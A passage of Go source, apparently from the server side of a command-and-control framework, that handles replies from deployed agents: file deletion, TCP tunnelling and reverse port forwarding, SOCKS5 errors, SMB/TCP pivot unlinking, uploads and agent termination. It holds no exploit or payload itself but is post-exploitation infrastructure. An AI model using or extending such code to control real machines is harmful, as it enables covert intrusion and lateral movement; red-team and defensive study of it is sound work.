if false == packer.CheckPacker([]string{"byte"}) {
goto HANDLER
}
result := packer.ParseInt8()
if result == 0 {
task.Message = "File deleted successfully"
} else {
task.Message = "Directory deleted successfully"
}
case COMMAND_TUNNEL_START_TCP:
if false == packer.CheckPacker([]string{"byte"}) {
goto HANDLER
}
channelId := int(TaskId)
_ = packer.ParseInt32()
result := packer.ParseInt32()
if result == 0 {
Ts.TsTunnelConnectionResume(agentData.Id, channelId, false)
} else if result == 1 {
Ts.TsTunnelConnectionClose(channelId, true)
} else {
errorCode := adaptix.SOCKS5_HOST_UNREACHABLE
if result == 10061 { // WSAECONNREFUSED
errorCode = adaptix.SOCKS5_CONNECTION_REFUSED
}
Ts.TsTunnelConnectionHalt(channelId, errorCode)
}
case COMMAND_TUNNEL_WRITE_TCP:
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
channelId := int(TaskId)
data := packer.ParseBytes()
Ts.TsTunnelConnectionData(channelId, data)
case COMMAND_TUNNEL_REVERSE:
if false == packer.CheckPacker([]string{"int", "int"}) {
goto HANDLER
}
var err error
tunnelId := int(TaskId)
_ = packer.ParseInt32()
result := packer.ParseInt32()
if result == 0 {
task.TaskId, task.Message, err = Ts.TsTunnelUpdateRportfwd(tunnelId, false)
} else {
task.TaskId, task.Message, err = Ts.TsTunnelUpdateRportfwd(tunnelId, true)
}
if err != nil {
task.MessageType = adaptix.MESSAGE_ERROR
} else {
task.MessageType = adaptix.MESSAGE_SUCCESS
}
case COMMAND_TUNNEL_ACCEPT:
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
tunnelId := int(TaskId)
channelId := int(packer.ParseInt32())
Ts.TsTunnelConnectionAccept(tunnelId, channelId)
case COMMAND_TUNNEL_PAUSE:
channelId := int(TaskId)
Ts.TsTunnelPause(channelId)
case COMMAND_TUNNEL_RESUME:
channelId := int(TaskId)
Ts.TsTunnelResume(channelId)
case COMMAND_TUNNEL_CLOSE:
if false == packer.CheckPacker([]string{"int", "int"}) {
goto HANDLER
}
_ = packer.ParseInt32()
_ = packer.ParseInt32()
channelId := int(TaskId)
Ts.TsTunnelConnectionClose(channelId, false)
case COMMAND_TERMINATE:
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
exitMethod := packer.ParseInt32()
if exitMethod == 1 {
task.Message = "The agent has completed its work (kill thread)"
} else if exitMethod == 2 {
task.Message = "The agent has completed its work (kill process)"
}
_ = Ts.TsAgentTerminate(agentData.Id, task.TaskId)
case COMMAND_UNLINK:
if false == packer.CheckPacker([]string{"int", "byte"}) {
goto HANDLER
}
pivotId := fmt.Sprintf("%08x", packer.ParseInt32())
pivotType := packer.ParseInt8()
messageParent := ""
messageChild := ""
_, parentAgentId, childAgentId := Ts.TsGetPivotInfoById(pivotId)
if pivotType == 1 {
messageParent = fmt.Sprintf("SMB agent disconnected %s", childAgentId)
messageChild = fmt.Sprintf(" ----- SMB agent disconnected from [%s] ----- ", parentAgentId)
} else if pivotType == 2 {
messageParent = fmt.Sprintf("TCP agent %s connection reset", childAgentId)
messageChild = fmt.Sprintf(" ----- TCP agent connection reset ----- ")
} else if pivotType == 10 {
messageParent = fmt.Sprintf("Pivot agent %s connection reset", childAgentId)
messageChild = fmt.Sprintf(" ----- Pivot agent connection reset ----- ")
}
if pivotType != 0 {
_ = Ts.TsPivotDelete(pivotId)
if TaskId == 0 {
Ts.TsAgentConsoleOutput(parentAgentId, adaptix.MESSAGE_SUCCESS, messageParent, "\n", true)
} else {
task.Message = messageParent
}
Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true)
}
case COMMAND_UPLOAD:
task.Message = "File successfully uploaded"
Ts.TsClientGuiFilesStatus(task)
case COMMAND_ERROR:
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
errorCode := packer.ParseInt32()
task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode))
task.MessageType = adaptix.MESSAGE_ERROR
default:
continue
}
outTasks = append(outTasks, task)
}
HANDLER:
/// END CODE
for _, task := range outTasks {
Ts.TsTaskUpdate(agentData.Id, task)
}
return nil
}